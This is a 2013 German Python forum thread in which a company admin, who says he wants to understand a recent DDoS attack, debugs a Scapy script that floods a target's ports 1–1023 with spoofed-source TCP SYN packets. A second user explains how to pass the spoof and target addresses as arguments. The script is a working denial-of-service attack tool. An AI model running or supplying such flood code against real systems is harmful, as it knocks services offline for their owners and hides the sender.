Seite 1 von 1

Netzwerk SYNFlood - Test

Verfasst: Donnerstag 21. März 2013, 23:47
von RSMVDL
Hallo,

Ich bin bei uns in der Firma der Admin für tund 80 Leute wir hatten vor einiger Zeit (3 Wochen) eine DDOS Attacke. Jetzt möchte ich verstehen wie das funktioniert. Daher habe ich mir ein Script geschrieben bekomme dieses mit Scapy unter Ubuntu 12.04 aber noch nicht wirklich ans laufen:

Code: Alles auswählen

import sys, os
from scapy.all import srflood, IP, TCP
if len(sys.argv) < 3:
    print (sys.argv[0] + " <Spoof_IP> <Target_IP>")
packet = IP(src=sys.argv[1], dst=sys.argv[2]) / \
TCP(dport=range(1,1024), flags="S")
srflood(packet, store=0)

Re: Netzwerk SYNFlood - Test

Verfasst: Freitag 22. März 2013, 00:23
von anogayales
Und warum läuft das Skript nicht? Bekommst du eine Fehlermeldung?

Re: Netzwerk SYNFlood - Test

Verfasst: Samstag 23. März 2013, 03:45
von RSMVDL
Also ich bekomme diese Ausgabe (Ubuntu 12.04 x64)

Code: Alles auswählen

root@localhost:~# python3 sf.py
Traceback (most recent call last):
  File "sf.py", line 2, in <module>
    from scapy.all import srflood, IP, TCP
ImportError: No module named scapy.all
Installiert hab ich Scapy mit folgendem Befehl bzw. Paketen ;)

Code: Alles auswählen

sudo apt-get install python-scapy python-pyx python-gnuplot
 -y
Danke im Vorraus

Re: Netzwerk SYNFlood - Test

Verfasst: Samstag 23. März 2013, 03:56
von RSMVDL
Hab es jetzt noch nicht hinbekommen aber bin was weiter gekommen. wen ich es mit python2.7 ausführe, dann bekomme ich folgende meldung:

Code: Alles auswählen

root@localhost:~# python2.7 sf.py
WARNING: No route found for IPv6 destination :: (no default route?)
sf.py <192.168.10.46> <192.168.10.177> ## erste ip ist spoof die zweite das Ziel
Traceback (most recent call last):
  File "sf.py", line 5, in <module>
    packet = IP(src=sys.argv[1], dst=sys.argv[2]) / \
IndexError: list index out of range
Hat jemand ne Idee???
LG

Re: Netzwerk SYNFlood - Test

Verfasst: Samstag 23. März 2013, 04:39
von anogayales
Du musst dem Skript die korrekten Parameter übergeben. Diese sind dann in Python unter sys.argv erreichbar. Ein Aufruf könnte zum Beispiel so aussehen:

Code: Alles auswählen

python2.7 sf.py 192.168.0.1 192.168.0.2
Siehe http://docs.python.org/2/library/sys.html#sys.argv für mehr Info.

Grüße,
anogayales